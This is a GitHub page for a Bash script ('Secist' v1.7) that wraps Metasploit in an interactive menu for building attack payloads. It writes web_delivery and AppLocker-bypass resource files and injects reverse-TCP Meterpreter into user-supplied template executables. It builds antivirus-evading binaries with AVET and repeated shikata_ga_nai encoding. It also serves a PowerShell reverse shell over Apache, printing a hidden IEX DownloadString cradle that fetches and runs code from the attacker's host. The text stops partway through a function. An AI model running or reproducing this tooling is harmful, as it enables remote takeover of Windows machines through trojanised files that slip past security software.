-
Notifications
You must be signed in to change notification settings - Fork 32
/
secist_script_EN.sh
972 lines (921 loc) · 37.4 KB
/
secist_script_EN.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
#!/bin/bash
clear
echo " ____ _ _ _ "
echo " / ___| |__ ___ ___| | _(_)_ __ __ _ "
echo " | | | '_ \ / _ \/ __| |/ / | '_ \ / _\ | "
echo " | |___| | | | __/ (__| <| | | | | (_| | _ _ _ "
echo " \____|_| |_|\___|\___|_|\_\_|_| |_|\__/ | (_) (_) (_)"
echo " |___/ "
echo -e '-- -- +=[(c) 2017 | www.ggsec.cn | www.secist.com | Demon '
echo -e "/==========================########========================\\"
echo -e "| # v1.7 |"
echo -e "| Secist Anniversary Editionv1.7 |"
echo -e "| #Check the script. Just a moment, please..... |"
echo -e "|———————————#—————————————————#——————————————————#—————————|"
echo -e "| Demon 2017 |"
echo -e "\==========================================================/"
echo " "
sleep 1
echo " "
#banner Information output, detection procedures
# check msfconsole
which msfconsole > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
msfconsole='1'
else
msfconsole='0'
fi
# check msfvenom
which msfvenom > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
msfvenom='1'
else
msfvenom='0'
fi
echo -n Check script = =;
sleep 1 & while [ "$(ps a | awk '{print $1}' | grep $!)" ] ; do for X in '-' '\' '|' '/'; do echo -en "\b$X"; sleep 0.1; done; done
if [ "$msfconsole" == "1" ] && [ "$msfvenom" == "1" ] ;then
echo -e " 【Already found】"
echo ""
echo ""
echo -e 'msfconsole 【Already found】'
echo -e 'msfvenom 【Already found】'
echo ""
sleep 2
fi
if [ "$msfconsole" == "0" ] || [ "$msfvenom" == "0" ]; then
fail='1'
echo -en "\b \e[0;31m【Fail】\e[0m"
echo ""
echo ""
fi
if [ "$msfconsole" == "0" ] ;then
echo -e 'msfconsole \e[0;31m【!!】 Not Found, first must be installed metasploit\e[0m';
fi
if [ "$msfvenom" == "0" ] ;then
echo -e 'msfvenom \e[0;31m【!!】 Not Found, first must be install metasploit\e[0m';
fi
#Determine whether the Metasploit is installed
rm -rf resource
rm -rf output
mkdir resource
mkdir output
#Clear the cache directory, create the resource directory to place the RC file
menu()
{
clear
echo " _ _ _ _"
echo "___ ___ ___(_)___| |_ ___ ___ _ __(_)_ __ | |_"
echo "/ __|/ _ \/ __| / __| __| / __|/ __| '__| | '_ \| __|"
echo "\__ \ __/ (__| \__ \ |_ \__ \ (__| | | | |_) | |_ "
echo "|___/\___|\___|_|___/\__|___|___/\___|_| |_| .__/ \__|"
echo " |_____| |_| "
echo " "
echo " v 1.6 "
echo -e "/==========================########========================\\"
echo -e "| #My blog : www.ggsec.cn# |"
echo -e "| #Metasploit Payload Generator# |"
echo -e "| #My first automated, simple script# |"
echo -e "| ##Secist's blog: www.secist.com |"
echo -e "|———————————#—————————————————#——————————————————#—————————|"
echo -e "| Secist Anniversary Editionv1.7 | Demon 2017.7.14 |"
echo -e "\==========================================================/"
echo -e " +------------++-------------------------++-----------------------+"
echo -e " Your IP address :\c"
/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"
echo " System version :$(cat /etc/issue)"
echo -e " +------------++-------------------------++-----------------------+"
sleep 1
echo " "
echo "################################################################## "
echo "# [1] web_delivery(php) [2] web_delivery(python) #"
echo "# [3] web_delivery(powershell) [4] 文件注入Payload #"
echo "# [5] bypass_server(powershell) [6] ps1encode #"
echo "# [7] Avoidz Metasploit PAYLOAD [8] nishang_PAYLOAD (NC) #"
echo "# [9] Avet Metasploit PAYLOAD [10] About Me #"
echo "# [11] shellcode [12] exit #"
echo "################################################################## "
echo -e " secist> \c"
read number
case $number in
1)
echo -e " secist> Enter your IP address: \c"
read ip
echo -e " secist> Enter your port: \c"
read port
echo "################################################################## "
echo "use exploit/multi/script/web_delivery" >> resource/php.rc
echo "set PAYLOAD php/meterpreter/reverse_tcp" >> resource/php.rc
echo "set TARGET 1" >> resource/php.rc
echo "set LHOST $ip" >> resource/php.rc
echo "set LPORT $port" >> resource/php.rc
echo "set URIPATH /" >> resource/php.rc
echo "run" >> resource/php.rc
msfconsole -r resource/php.rc
;;
2)
echo -e " secist> Enter your IP address: \c"
read ip
echo -e " secist> Enter your port: \c"
read port
echo "################################################################## "
echo "use exploit/multi/script/web_delivery" >> resource/python.rc
echo "set LHOST $ip" >> resource/python.rc
echo "set LPORT $port" >> resource/python.rc
echo "set URIPATH /" >> resource/python.rc
echo "run" >>resource/python.rc
msfconsole -r resource/python.rc
;;
3)
echo -e " secist> Enter your IP address: \c"
read ip
echo -e " secist> Enter your port: \c"
read port
echo "################################################################## "
echo "use exploit/multi/script/web_delivery" >> resource/powershell.rc
echo "set PAYLOAD windows/meterpreter/reverse_tcp" >> resource/powershell.rc
echo "set TARGET 2" >> resource/powershell.rc
echo "set LHOST $ip" >> resource/powershell.rc
echo "set LPORT $port" >> resource/powershell.rc
echo "set URIPATH /" >> resource/powershell.rc
echo "run" >> resource/powershell.rc
msfconsole -r resource/powershell.rc
;;
4)
echo -e " secist> Enter your IP address: \c"
read ip
echo -e " secist> Enter your port: \c"
read port
echo -e " secist>Please put the template file to the current directory and enter the name of the file you put in: \c"
read file
echo -e " secist>Please enter the name of the file you saved: \c"
read output
echo " Please wait a few minutes, your fish will be released.=====================================》"
echo "################################################################## "
echo ""
sleep 2
meun2
msfvenom -a x86 --platform windows -x $file.exe -k -p windows/meterpreter/reverse_tcp LHOST=$ip LPORT=$port –b “\ x00” -f exe >$output.exe
sleep 1
echo -e "Do you start the payload handler? y or n: \c"
read handler
if [ "$handler" == "y" ]; then
echo "use exploit/multi/handler" >> resource/handler.rc
echo "set PAYLOAD windows/meterpreter/reverse_tcp" >> resource/handler.rc
echo "set LHOST $ip" >> resource/handler.rc
echo "set LPORT $port" >> resource/handler.rc
echo "exploit " >> resource/handler.rc
msfconsole -r resource/handler.rc
fi
;;
5)
echo -e " secist> Enter your IP address: \c"
read ip
echo -e " secist> Enter your port: \c"
read port
echo "################################################################## "
echo "use exploit/windows/misc/regsvr32_applocker_bypass_server" >> resource/bypass.rc
echo "set LHOST $ip" >> resource/bypass.rc
echo "set LPORT $port" >> resource/bypass.rc
echo "set URIPATH /" >> resource/bypass.rc
echo "run" >> resource/bypass.rc
msfconsole -r resource/bypass.rc
;;
6)
ps1encode
;;
7)
avoidz
;;
8)
echo -e " secist> Enter your IP address: \c"
read ip
echo -e " secist> Enter your port: \c"
read port
#Enter IP and port
cp Invoke-PowerShellTcp.ps1 output/Invoke-PowerShellTcp.ps1
#Copy the PowerShell script into the output directory
echo Invoke-PowerShellTcp -Reverse -IPAddress $ip -Port $port >> output/Invoke-PowerShellTcp.ps1
#Write PAYLOAD into the script
cp output/Invoke-PowerShellTcp.ps1 /var/www/html
service apache2 start
#And copy our scripts into the apche directory and open the web port
echo "#################################################################################################################################### "
echo " "
echo "[*]powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://$ip/Invoke-PowerShellTcp.ps1');"
echo " "
echo "#################################################################################################################################### "
#"Echo" output of our PowerShell download address, my docker web80 port corresponds to 8081 of the machine, so I need to manually add here, you don't need to do this in Kali, but you can modify
nc -vv -l -p $port
#And turn on our NC monitor
;;
9)
Avet
;;
10)
menu1
;;
11)
shellcode
;;
12)
exit
;;
*)
menu
;;
esac
}
#Here is the main menu function, enter 6 to return second-level menu and enter other options to return the main menu again.
ps1encode (){
clear
echo -e " < Powershell Payload >"
echo -e " --------------------"
echo -e " \ ^__^ "
echo -e " \ (oo)\_______ "
echo -e " (__)\ )\/\ "
echo -e " ||----w | "
echo -e " || || "
echo " "
echo -e " +------------++-------------------------++-----------------------+"
echo " Secist Anniversary Editionv1.7 (secist----2017.7.14)"
echo " "
echo -e " Your IP address :\c"
/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"
echo " System version :$(cat /etc/issue)"
echo -e " +------------++-------------------------++-----------------------+"
echo " "
echo " [1] Meterpreter_Reverse_tcp [5] Shell_reverse_tcp"
echo " [2] Meterpreter_Reverse_http [6] Powershell_reverse_tcp"
echo " [3] Meterpreter_Reverse_https [7] Multi encode payload"
echo " [4] Meterpreter_Reverse_tcp_dns [8]cmd/windows/reverse_powershell "
echo " [9] exit [10] back meun "
echo ""
echo -e " secist> \c"
read option
#Aukeratu
case $option in
1)
payload='windows/meterpreter/reverse_tcp'
;;
2)
payload='windows/meterpreter/reverse_http'
;;
3)
payload='windows/meterpreter/reverse_https'
;;
4)
payload='windows/meterpreter/reverse_tcp_dns'
;;
5)
payload='windows/shell/reverse_tcp'
;;
6)
payload='windows/powershell_reverse_tcp'
;;
7)
payload='windows/meterpreter/reverse_tcp'
;;
8)
payload='cmd/windows/reverse_powershell'
;;
9)
exit
;;
10)
menu
;;
*)
ps1encode
;;
esac
if [ "$option" == "1" ]; then
code
elif [ "$option" == "2" ]; then
code
elif [ "$option" == "3" ]; then
code
elif [ "$option" == "4" ]; then
code
elif [ "$option" == "5" ]; then
code
elif [ "$option" == "6" ]; then
code
elif [ "$option" == "7" ]; then
code
elif [ "$option" == "8" ]; then
echo -e " secist> Enter your IP address: \c"
read ip
echo -e " secist> Enter your port: \c"
read port
echo -e " secist>Please enter the name of the file you want to save:\c "
read output
msfvenom -p $payload LHOST=$ip LPORT=$port -o output/$output.bat
echo " Please wait a few minutes, your fish will be released.=====================================》"
echo "################################################################## "
clear
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | Name || Descript || Your Input "
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | LHOST || The Listen Addres || $ip "
echo -e " | LPORT || The Listen Ports || $port "
echo -e " | OUTPUTNAME || The Filename output || output/$output.bat "
echo -e " +------------++-------------------------++-----------------------+"
echo "use exploit/multi/handler" >> resource/handler.rc
echo "set PAYLOAD $payload" >> resource/handler.rc
echo "set LHOST $ip" >> resource/handler.rc
echo "set LPORT $port" >> resource/handler.rc
echo "exploit " >> resource/handler.rc
msfconsole -r resource/handler.rc
fi
}
menu1()
{
clear
echo -e "_______________________________________________________________________"
echo -e " I'm a member of the Secist Team, Demon.I usually active in the BUGBACK, Ichunqiu, and other platforms. Major in web security, Hackintosh and Kali penetration testing, etc. I'm currently concentrating on metaspolit research, and I'd like to share some of my learning ideas and experiences with this tutorial."
echo -e " For any questions about the course, you can contact us by the following ways: "
echo " Secist Anniversary Editionv1.7 (secist----2017.7.14)"
echo -e " < My Blog: www.ggsec.cn >"
echo -e " < My Team Blog: www.secist.com>"
echo " Secist's QQ group:307283889 "
echo " Welcome to use my script v1.7"
echo " Ps:Please indicate the author when you change the code "
echo " Translator :Sid "
echo -e "---------------------------------------------------------------------- "
echo -e " \ ^__^ "
echo -e " \ (oo)\_______ "
echo -e " (__)\ )\/\ "
echo -e " ||----w | "
echo -e " || || "
echo " "
echo "################################################################## "
echo "# [1]back meun #"
echo "# [2]exit #"
echo "################################################################## "
echo " "
echo -e " secist> \c"
read number
case $number in
#second-level menu function
1)
menu
;;
2)
exit
;;
*)
menu1
;;
esac
}
code(){
#Defines a menu called code
echo -e " secist> Enter your IP address: \c"
read ip
echo -e " secist> Enter your port: \c"
read port
./ps1encode.rb -i $ip -p $port -a $payload -t cmd
#对shellcode 输出
echo ""
echo -e "Do you outputfile (ps1)? y or n: \c"
read ps1
if [ "$ps1" == "y" ]; then
echo -e " secist>Please enter the name of the file you want to save:\c "
read output
#Select y and save the file
echo " Please wait a few minutes, your fish will be released.=====================================》"
echo "################################################################## "
echo $(./ps1encode.rb -i $ip -p $port -a windows/meterpreter/reverse_tcp -t cmd) >>output/$output.ps1
cp output/$output.ps1 /var/www/html
service apache2 start
echo "################################################################## "
#Save the output code to the output folder and save the custom script
clear
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | Name || Descript || Your Input "
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | LHOST || The Listen Addres || $ip "
echo -e " | LPORT || The Listen Ports || $port "
echo -e " | OUTPUTNAME || The Filename output || output/$output.ps1 "
echo -e " +------------++-------------------------++-----------------------+"
echo "#################################################################################################################################### "
echo " "
echo "[*]powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://$ip/$output.ps1');"
echo " "
echo "#################################################################################################################################### "
echo "use exploit/multi/handler" >> resource/handler.rc
echo "set PAYLOAD $payload" >> resource/handler.rc
echo "set LHOST $ip" >> resource/handler.rc
echo "set LPORT $port" >> resource/handler.rc
echo "exploit -j " >> resource/handler.rc
msfconsole -r resource/handler.rc
#Select Y - - save the output as a custom file, and execute the MSF monitor module
elif [ "$ps1" == "n" ]; then
echo "use exploit/multi/handler" >> resource/handler.rc
echo "set PAYLOAD $payload" >> resource/handler.rc
echo "set LHOST $ip" >> resource/handler.rc
echo "set LPORT $port" >> resource/handler.rc
echo "exploit -j" >> resource/handler.rc
msfconsole -r resource/handler.rc
fi
#Select N, the MSF listening module will be executed directly
}
avoidz (){
clear
echo -e " < avoidz Payload >"
echo -e " --------------------"
echo -e " \ ^__^ "
echo -e " \ (oo)\_______ "
echo -e " (__)\ )\/\ "
echo -e " ||----w | "
echo -e " || || "
echo " "
echo -e " +------------++-------------------------++-----------------------+"
echo " Secist Anniversary Editionv1.7 (secist----2017.7.14)"
echo " "
echo -e " Your IP address :\c"
/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"
echo " System version :$(cat /etc/issue)"
echo -e " +------------++-------------------------++-----------------------+"
echo " "
echo " [1] Meterpreter_Reverse_tcp [5] Shell_reverse_tcp"
echo " [2] Meterpreter_Reverse_http [6] Powershell_reverse_tcp"
echo " [3] Meterpreter_Reverse_https [7] Multi encode payload"
echo " [4] Meterpreter_Reverse_tcp_dns [8] exit "
echo " [9] back meun "
echo ""
echo -e " secist> \c"
read option
#Aukeratu
case $option in
1)
payload='windows/meterpreter/reverse_tcp'
;;
2)
payload='windows/meterpreter/reverse_http'
;;
3)
payload='windows/meterpreter/reverse_https'
;;
4)
payload='windows/meterpreter/reverse_tcp_dns'
;;
5)
payload='windows/shell/reverse_tcp'
;;
6)
payload='windows/powershell_reverse_tcp'
;;
7)
payload='windows/meterpreter/reverse_tcp'
;;
8)
exit
;;
9)
menu
;;
*)
avoidz
;;
esac
if [ "$option" == "1" ]; then
code1
elif [ "$option" == "2" ]; then
code1
elif [ "$option" == "3" ]; then
code1
elif [ "$option" == "4" ]; then
code1
elif [ "$option" == "5" ]; then
code1
elif [ "$option" == "6" ]; then
code1
elif [ "$option" == "7" ]; then
code1
fi
}
code1(){
rm /root/temp1.exe
echo -e " secist> Enter your IP address: \c"
read ip
echo -e " secist> Enter your port: \c"
read port
echo " Please wait a few minutes, your fish will be released.=====================================》"
echo "################################################################## "
ruby avoidz.rb -h $ip -p $port -m $payload -f temp1
echo "################################################################## "
clear
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | Name || Descript || Your Input "
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | LHOST || The Listen Addres || $ip "
echo -e " | LPORT || The Listen Ports || $port "
echo -e " | OUTPUTNAME || The Filename output || /root/temp1.exe "
echo -e " +------------++-------------------------++-----------------------+"
echo "use exploit/multi/handler" >> resource/handler.rc
echo "set PAYLOAD windows/meterpreter/reverse_tcp" >> resource/handler.rc
echo "set LHOST $ip" >> resource/handler.rc
echo "set LPORT $port" >> resource/handler.rc
echo "exploit -j" >> resource/handler.rc
msfconsole -r resource/handler.rc
}
Avet (){
clear
echo -e " < Avet Payload >"
echo -e " --------------------"
echo -e " \ ^__^ "
echo -e " \ (oo)\_______ "
echo -e " (__)\ )\/\ "
echo -e " ||----w | "
echo -e " || || "
echo " "
echo -e " +------------++-------------------------++-----------------------+"
echo " Secist Anniversary Editionv1.7 (secist----2017.7.14)"
echo " "
echo -e " Your IP address :\c"
/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"
echo " System version :$(cat /etc/issue)"
echo -e " +------------++-------------------------++-----------------------+"
echo " "
echo " [1] build_win32_meterpreter_rev_https_20xshikata "
echo " [2] build_win32_meterpreter_rev_https_shikata_fopen "
echo " [3] build_win32_meterpreter_unstaged_rev_https_20xshikata "
echo " [4] build_win32_shell_rev_tcp_shikata_fopen_kaspersky"
echo " [5] build_win32_meterpreter_rev_https_fopen_shikata"
echo " [6] build_win64_meterpreter_rev_tcp_xor"
echo " [7] build_win64_meterpreter_rev_tcp_xor_fopen"
echo " [8] exit "
echo " [9] back meun "
echo ""
echo -e " secist> \c"
read option
#Aukeratu
case $option in
1)
echo " "
echo -e " secist> Enter your IP address: \c"
read ip
echo -e " secist> Enter your port: \c"
read port
#build_win32_meterpreter_rev_https_20xshikata.sh
. avet/build/global_win32.sh
# make meterpreter reverse payload, encoded 20 rounds with shikata_ga_nai
msfvenom -p windows/meterpreter/reverse_https lhost=$ip lport=$port -e x86/shikata_ga_nai -i 20 -f c -a x86 --platform Windows > avet/sc.txt
# call make_avet, the sandbox escape is due to the many rounds of decoding the shellcode
./avet/make_avet -f avet/sc.txt
# compile to pwn.exe file
$win32_compiler -o output/pwn.exe avet.c
# cleanup
echo "" > avet/defs.h
echo "################################################################## "
service postgresql start
clear
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | Name || Descript || Your Input "
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | LHOST || The Listen Addres || $ip "
echo -e " | LPORT || The Listen Ports || $port "
echo -e " | OUTPUTNAME || The Filename output || output/pwn.exe "
echo -e " +------------++-------------------------++-----------------------+"
echo "use exploit/multi/handler" >> resource/handler.rc
echo "set PAYLOAD windows/meterpreter/reverse_https" >> resource/handler.rc
echo "set LHOST $ip" >> resource/handler.rc
echo "set LPORT $port" >> resource/handler.rc
echo "exploit -j" >> resource/handler.rc
msfconsole -r resource/handler.rc
;;
2)
echo -e " secist> Enter your IP address: \c"
read ip
echo -e " secist> Enter your port: \c"
read port
#build_win32_meterpreter_rev_https_shikata_fopen.sh
# simple example script for building the .exe file
# include script containing the compiler var $win32_compiler
# you can edit the compiler in build/global_win32.sh
# or enter $win32_compiler="mycompiler" here
. avet/build/global_win32.sh
# make meterpreter reverse payload, encoded with shikata_ga_nai
# additionaly to the avet encoder, further encoding should be used
msfvenom -p windows/meterpreter/reverse_https lhost=$ip lport=$port -e x86/shikata_ga_nai -i 3 -f c -a x86 --platform Windows > avet/sc.txt
# format the shellcode for make_avet
./avet/format.sh avet/sc.txt > avet/scclean.txt && rm avet/sc.txt
# call make_avet, the -f compiles the shellcode to the exe file, the -F is for the AV sandbox evasion
./avet/make_avet -f avet/scclean.txt -F -E
# compile to pwn.exe file
$win32_compiler -o output/pwn.exe avet.c
# cleanup
rm avet/scclean.txt && echo "" > avet/defs.h
service postgresql start
echo "################################################################## "
service postgresql start
clear
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | Name || Descript || Your Input "
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | LHOST || The Listen Addres || $ip "
echo -e " | LPORT || The Listen Ports || $port "
echo -e " | OUTPUTNAME || The Filename output || output/pwn.exe "
echo -e " +------------++-------------------------++-----------------------+"
echo "use exploit/multi/handler" >> resource/handler.rc
echo "set PAYLOAD windows/meterpreter/reverse_https" >> resource/handler.rc
echo "set LHOST $ip" >> resource/handler.rc
echo "set LPORT $port" >> resource/handler.rc
echo "exploit -j" >> resource/handler.rc
msfconsole -r resource/handler.rc
;;
3)
echo -e " secist> Enter your IP address: \c"
read ip
echo -e " secist> Enter your port: \c"
read port
#build_win32_meterpreter_unstaged_rev_https_20xshikata
. avet/build/global_win32.sh
# make meterpreter unstaged reverse payload, encoded 20 rounds with shikata_ga_nai
msfvenom -p windows/meterpreter_reverse_https lhost=$ip lport=$port extensions=stdapi,priv -e x86/shikata_ga_nai -i 20 -f c -a x86 --platform Windows > avet/sc.txt
# call make_avet, the sandbox escape is due to the many rounds of decoding the shellcode
./avet/make_avet -f avet/sc.txt
# compile to pwn.exe file
$win32_compiler -o output/pwn.exe avet.c
# cleanup
echo "" > defs.h
service postgresql start
echo "################################################################## "
clear
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | Name || Descript || Your Input "
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | LHOST || The Listen Addres || $ip "
echo -e " | LPORT || The Listen Ports || $port "
echo -e " | OUTPUTNAME || The Filename output || output/pwn.exe "
echo -e " +------------++-------------------------++-----------------------+"
echo "use exploit/multi/handler" >> resource/handler.rc
echo "set PAYLOAD windows/meterpreter_reverse_https" >> resource/handler.rc
echo "set LHOST $ip" >> resource/handler.rc
echo "set LPORT $port" >> resource/handler.rc
echo "exploit -j" >> resource/handler.rc
msfconsole -r resource/handler.rc
;;
4)
echo -e " secist> Enter your IP address: \c"
read ip
echo -e " secist> Enter your port: \c"
read port
#build_win32_shell_rev_tcp_shikata_fopen_kaspersky.sh
. avet/build/global_win32.sh
# make meterpreter unstaged reverse payload, encoded 20 rounds with shikata_ga_nai
msfvenom -p windows/meterpreter_reverse_https lhost=$ip lport=$port extensions=stdapi,priv -e x86/shikata_ga_nai -i 20 -f c -a x86 --platform Windows > avet/sc.txt
# call make_avet, the sandbox escape is due to the many rounds of decoding the shellcode
./avet/make_avet -f avet/sc.txt
# compile to pwn.exe file
$win32_compiler -o output/pwn.exe avet.c
# cleanup
echo "" > defs.h
service postgresql start
echo "################################################################## "
clear
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | Name || Descript || Your Input "
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | LHOST || The Listen Addres || $ip "
echo -e " | LPORT || The Listen Ports || $port "
echo -e " | OUTPUTNAME || The Filename output || output/pwn.exe "
echo -e " +------------++-------------------------++-----------------------+"
echo "use exploit/multi/handler" >> resource/handler.rc
echo "set PAYLOAD windows/meterpreter/reverse_https" >> resource/handler.rc
echo "set LHOST $ip" >> resource/handler.rc
echo "set LPORT $port" >> resource/handler.rc
echo "exploit -j" >> resource/handler.rc
msfconsole -r resource/handler.rc
;;
5)
echo -e " secist> Enter your IP address: \c"
read ip
echo -e " secist> Enter your port: \c"
read port
#build_win32_meterpreter_rev_https_fopen_shikata.sh
. avet/build/global_win32.sh
msfvenom -p windows/meterpreter/reverse_https lhost=$ip lport=$port -e x86/shikata_ga_nai -i 3 -f c -a x86 --platform Windows > avet/sc.txt
#. avet/format.sh sc.txt > scclean.txt && rm sc.txt
#cat sc.txt >> avet/defs.h
#echo "" > avet/scclean.txt
./avet/make_avet -f avet/sc.txt -F -p
$win32_compiler -o output/pwn.exe avet.c
#echo "" > avet/defs.h
service postgresql start
echo "################################################################## "
clear
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | Name || Descript || Your Input "
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | LHOST || The Listen Addres || $ip "
echo -e " | LPORT || The Listen Ports || $port "
echo -e " | OUTPUTNAME || The Filename output || output/pwn.exe "
echo -e " +------------++-------------------------++-----------------------+"
echo "use exploit/multi/handler" >> resource/handler.rc
echo "set PAYLOAD windows/meterpreter/reverse_https" >> resource/handler.rc
echo "set LHOST $ip" >> resource/handler.rc
echo "set LPORT $port" >> resource/handler.rc
echo "exploit -j" >> resource/handler.rc
msfconsole -r resource/handler.rc
;;
6)
echo -e " secist> Enter your IP address: \c"
read ip
echo -e " secist> Enter your port: \c"
read port
#build_win64_meterpreter_rev_tcp_xor
. avet/build/global_win64.sh
# make meterpreter reverse payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=$ip lport=$port -e x64/xor -f c --platform Windows > avet/sc.txt
# format the shellcode for make_avet
./avet/format.sh avet/sc.txt > avet/scclean.txt && rm avet/sc.txt
# call make_avet, compile
./avet/make_avet -f avet/scclean.txt -X -E
$win64_compiler -o output/pwn.exe avet.c
# cleanup
rm avet/scclean.txt && echo "" > avet/defs.h
service postgresql start
echo "################################################################## "
clear
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | Name || Descript || Your Input "
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | LHOST || The Listen Addres || $ip "
echo -e " | LPORT || The Listen Ports || $port "
echo -e " | OUTPUTNAME || The Filename output || output/pwn.exe "
echo -e " +------------++-------------------------++-----------------------+"
echo "use exploit/multi/handler" >> resource/handler.rc
echo "set PAYLOAD windows/x64/meterpreter/reverse_tcp" >> resource/handler.rc
echo "set LHOST $ip" >> resource/handler.rc
echo "set LPORT $port" >> resource/handler.rc
echo "exploit -j" >> resource/handler.rc
msfconsole -r resource/handler.rc
;;
7)
echo -e " secist> Enter your IP address: \c"
read ip
echo -e " secist> Enter your port: \c"
read port
# build_win64_meterpreter_rev_tcp_xor_fopen.sh
. avet/build/global_win64.sh
# make meterpreter reverse payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=$ip -e x64/xor lport=$port -f c --platform Windows > avet/sc.txt
./avet/make_avet -f avet/sc.txt -F -X
$win64_compiler -o output/pwn.exe avet.c
# cleanup
rm avet/sc.txt && echo "" > avet/defs.h
service postgresql start
echo "################################################################## "
clear
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | Name || Descript || Your Input "
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | LHOST || The Listen Addres || $ip "
echo -e " | LPORT || The Listen Ports || $port "
echo -e " | OUTPUTNAME || The Filename output || output/pwn.exe "
echo -e " +------------++-------------------------++-----------------------+"
echo "use exploit/multi/handler" >> resource/handler.rc
echo "set PAYLOAD windows/x64/meterpreter/reverse_tcp" >> resource/handler.rc
echo "set LHOST $ip" >> resource/handler.rc
echo "set LPORT $port" >> resource/handler.rc
echo "exploit -j" >> resource/handler.rc
msfconsole -r resource/handler.rc
;;
8)
exit
;;
*)
menu
;;
esac
}
meun2 (){
clear
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | Name || Descript || Your Input "
echo -e " +------------++-------------------------++-----------------------+"
